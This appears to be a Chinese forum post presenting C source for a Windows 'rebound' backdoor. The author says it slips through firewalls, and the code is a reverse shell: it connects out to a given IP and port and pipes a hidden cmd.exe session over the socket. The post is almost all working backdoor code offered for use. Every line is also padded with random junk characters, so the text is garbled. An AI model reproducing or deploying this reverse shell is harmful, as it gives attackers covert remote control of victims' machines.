这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
DU.nXwl]
kH10z~(e
/* ============================== A! j4;=}
Rebound port in Windows NT <u9U%Vsi
By wind,2006/7 I%q&4L7pj
===============================*/ 7
*#pv}Y
#include ?a]uyw,
#include !`-/E']/
F6xQ`T|
#pragma comment(lib,"wsock32.lib") ?[K\X
USrg,A
void OutputShell(); QA3q9,C"
SOCKET sClient; Z*Qra4GBl]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V/jEMJNks
5lMm8<v
void main(int argc,char **argv) 2rK<UPIq
{ SKf[&eP,G
WSADATA stWsaData; zXH CP.Rmg
int nRet; d;kdw
SOCKADDR_IN stSaiClient,stSaiServer; E?/Bf@a28=
SmJ6Fm6
if(argc != 3) D; 0iNcit
{ <Hq|<^_K
printf("Useage:\n\rRebound DestIP DestPort\n"); X(;,-7Jw
return; T;u>]"S
} !pNY`sw}
ZxRD+`
WSAStartup(MAKEWORD(2,2),&stWsaData); Kpo{:a
=os%22*
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UEvRK?mm=
9V%s1@K
stSaiClient.sin_family = AF_INET; v!pT!(h4
stSaiClient.sin_port = htons(0); oKJj?%dHK9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K8l|qe
`<C/-Au
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IaU
{ |W/_S^ C
printf("Bind Socket Failed!\n"); G^]7!:0
return; P*#H]Pv
} %-6I
]B<Hrnn
stSaiServer.sin_family = AF_INET; poqx
O
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Jz!8Xg%a
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); n~#%>C7
hK+Iow-
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) P>dMET
{ hoc$aqP6pp
printf("Connect Error!"); <Cvlz^K[
return; H-9%/e
} (
*(#;|m
OutputShell(); ;-d }\f ,
} wPn#>\/L
:/BU-SFK^
void OutputShell() \S)\~>.`y!
{ B?nQUIb:
char szBuff[1024]; S3[rv
SECURITY_ATTRIBUTES stSecurityAttributes; 4*4s{twG
OSVERSIONINFO stOsversionInfo; LsnM5GU7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HXTBxh
STARTUPINFO stStartupInfo; k;w1y(
char *szShell; LFCcV<~
PROCESS_INFORMATION stProcessInformation; :t6w+h
unsigned long lBytesRead; Hb KJ&^
ThX%Uzd"[;
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &k
/uR;yw
2Y)3Ue
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vr|9NP]v
stSecurityAttributes.lpSecurityDescriptor = 0; 4|uh&4"*@W
stSecurityAttributes.bInheritHandle = TRUE; 0Ii*
"?s
$!L'ZO1_r
=h?WT*
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $ ZD1_sJ.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8F(lW)A n
GqXnOmk
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u%<Je
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l+'@y (}Q
stStartupInfo.wShowWindow = SW_HIDE; (PjC]`FK
stStartupInfo.hStdInput = hReadPipe; M-3kF"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +_tK \MN
a$p?r3y
GetVersionEx(&stOsversionInfo); 31\l0Jg
s
l|n]#)
switch(stOsversionInfo.dwPlatformId) lCBb0k2
{ ,y}?Z8?63
case 1: V?Y;.n&y
szShell = "command.com"; _jOu`1w
break; V(mz||'*
default: :?%$={m
szShell = "cmd.exe"; :c@v_J6C&
break; V&U1WV/
} HV-c
DL
j:# wt70
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B#Cb`b"
g5X;]%:
send(sClient,szMsg,77,0); )?#*GMWU
while(1) W 86`R
{ 68
%=
V>V
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?.d6!vA
if(lBytesRead) kLa9'c0
{ 6?I,sZW
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); v#1}(
hb
send(sClient,szBuff,lBytesRead,0); %UDz4?zx
} :ulOG{z
else RKoM49W
{ D#}t)$"
lBytesRead=recv(sClient,szBuff,1024,0); !sWKi)1
if(lBytesRead<=0) break; n1+1/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 84v7g`lrR
} K.s\xA5`_
} %5#ts/f
l"70|~
return; U$+EUDFi3_
}